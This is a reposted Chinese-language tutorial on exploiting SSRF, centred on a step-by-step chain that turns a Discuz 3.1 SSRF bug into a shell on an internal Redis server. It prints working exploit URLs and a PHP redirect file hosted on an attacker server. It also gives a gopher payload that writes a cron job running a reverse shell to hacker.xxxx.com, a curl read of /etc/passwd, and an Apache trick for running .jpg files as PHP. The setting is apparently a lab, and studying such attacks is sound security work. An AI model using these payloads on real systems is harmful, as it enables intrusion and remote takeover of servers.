SSRF漏洞利用與getshell實戰


什么是SSRF?

SSRF(Server-Side Request Forgery,服務器端請求偽造)是一種由攻擊者構造請求,利用服務器端發起的安全漏洞。一般情況下,SSRF攻擊的目標是外網無法訪問的內部系統(正因為請求是由服務器端發起的,所以服務器能請求到與自身相連而外網隔離的內部系統)。

Example:

GET /index.php?url=http://google.com/ HTTP/1.1
Host: example.com

在這里,http://example.com 從它的服務器獲取 http://google.com

目錄

0X00 SSRF的類型

0X01 什么地方最容易出現SSRF

0X02 SSRF漏洞的危害

0X03 SSRF神器Curl的使用

0X04 最常用的跳轉繞過

0X05 Python+SSRF實現端口掃描

0X06 利用Discuz的SSRF漏洞GetShell

0X07 簡單的繞過SSRF圖片的限制

0X08 可能遇到的問題

0X09 常用挖掘SSRF漏洞的工具

 

0X00 SSRF的類型

  1. 顯示攻擊者的響應(Basic)
  2. 不顯示響應(Blind)

 

0X01 什么地方最容易出現SSRF

雲服務器商。(各種網站數據庫操作)
有遠程圖片加載的地方。(編輯器之類的有遠程圖片加載啊)
網站采集、網頁抓取的地方。(很多網站會有新聞采集輸入url然后一鍵采集)
頭像的地方。(某易就喜歡遠程加載頭像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg) 最后一個一切要你輸入網址的地方和可以輸入ip的地方,都是ssrf的天下。 

 

0X02 SSRF漏洞的危害

對服務器所在的內網進行端口掃描,獲取一些服務的banner信息等
攻擊運行在內網或者本地的應用程序
對內網WEB應用進行指紋識別,通過訪問默認文件實現(Readme等文件)
攻擊內外網的WEB應用,主要是GET就可以實現的攻擊(比如Struts2,SQL注入等)
下載內網資源(利用file協議讀取本地文件等)
利用Redis未授權訪問,HTTP CRLF注入達到getshell
wooyun峰會豬豬俠的ppt
進行跳板
無視cdn

 

0X03 SSRF神器Curl的使用

查看curl支持的協議列表 #curl—config –protocols

使用curl讀取文件
curl -v file:///etc/passwd 使用ftp協議 curl -v "ftp://127.0.0.1:6666/info" 使用dict協議 curl -v "dict://127.0.0.1:6666/info" 使用gopher協議 curl -v "gopher://127.0.0.1:6666/_info" 

 

0X04最常用的跳轉繞過

 

0X05 Python+SSRF實現端口掃描

簡單的端口掃描

同時觀察Wireshark整個掃描流程

代碼實現:

驗證本地是否開啟了相應的端口

Python代碼編寫的思路:

端口存在連接會一直在連接,連接時間會很長。

端口不存在的連接會被立馬刷新

 

0X06 利用Discuz的SSRF漏洞GetShell

Discuz無條件限制ssrf漏洞(<=3.1測試是有這個漏洞)

實驗環境:

172.28.100.109 為Discuz 3.1(Win10),172.28.100.108為Redis服務器(CentOS),hacker.xxxx.com為公網測試服務器主要存放ssrf用的php文件

Discuz3.1下載地址:

http://www.comsenz.com/downloads/install/discuzx#down_open

示例:

/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=dict%26ip=172.28.100.108%26port=6666%26data=hello.jpg[/img]

實際使用payload:

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=ftp%26ip=172.28.100.108%26port=6666%26data=he2lo.jpg[/img]

利用nc來測試SSRF漏洞

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://172.28.100.108:6666/?data=root.jpg[/img]

tcpdump抓包看到Discuz發來的數據包

nc也有反應了

基本可以確認這里是有SSRF漏洞

使用header 來配合ssrf漏洞利用,在我公網服務器放了一個ssrf.php

<?php
header("Location: ftp://172.28.100.108:6666/info");
?>

這里我是通過傳參的方式,方便測試時候修改參數,代碼如下:

PAYLOAD:

http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=ftp%26ip=172.28.100.108%26port=6666%26data=he2lo.jpg[/img]

同樣nc也接受到了數據,測試時候發現ftp協議比http要快一些

KALI機器打開socat端口轉發(-v參數可以將轉發過程的日志記錄打印出來)

socat -v tcp-listen:6666,fork tcp-connect:172.28.100.108:6379

連接SSRF腳本

注意centos和ubuntu系統的計划任務有些不一樣,centos默認在/var/spool/cron/root,ubuntu默認是在/etc/crontab

執行成功

第四步能執行成功的前提必須目標目錄有寫權限

到redis服務器的上查看/var/spool/cron目錄下已經創建了root文件內容為

*/1 * * * * bash -i >&/dev/tcp/hacker.xxxx.com/9999 0>&1

將socat的輸出信息保存為1.txt,上傳到公網服務器上

使用Python腳本轉換為gopher支持的格式

注意最后要檢查一下格式是否完整:*/1 * * * * bash -i >& /dev/tcp/hacker.xxx.com/99990>&1

新建gohper.php文件放到我自己的雲服務器的網站根目錄上,當Discuz訪問gohper.php文件時候就會302跳轉,使用gohper協議訪問內部redis服務器

標准格式示例:

<?php
header("Location: gopher://172.28.100.108:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/hacker.xxxx.com/9999 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a");
?>

目標機器SSRF漏洞的利用

過程中使用Wireshark抓包觀察過程

目標redis服務器上發現計划任務已經生效了,如果這里有亂碼,請翻倒文章底部有解決方案

目標Redis的shell已經發給我的服務器了

 

0X07 簡單的繞過SSRF圖片的限制

Apache配置/etc/apache2/sites-enabled/,新建一個apache的配置文件123.conf

AddHandler application/x-httpd-php .php

這樣apache就會把jpg也當作php解析;如果我們遇到限制了jpg后綴的ssrf漏洞就可以利用該方法,同理如果限制了txt的話。我們在apache設置把txt當作php解析即可。

將文件名命名為1.php.jpg即可訪問

也可以這樣寫AddHandler application/x-httpd-php .jpg

 

0X08 可能遇到的問題

以下問題是因為我用的linux上vim編輯器導致的,后使用Sublime編輯器解決了亂碼問題

 

0X09 常用挖掘SSRF漏洞的工具

利用F12,查看網站的網絡請求 利用GoogleHacking,如site:www.baidu.com,然后查找網站是否有關於url的遠程調用 

作者:WHITE

本文由安全客原創發布
轉載,請參考 轉載聲明,注明出處:  https://www.anquanke.com/post/id/197431
安全客 - 有思想的安全新媒體


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM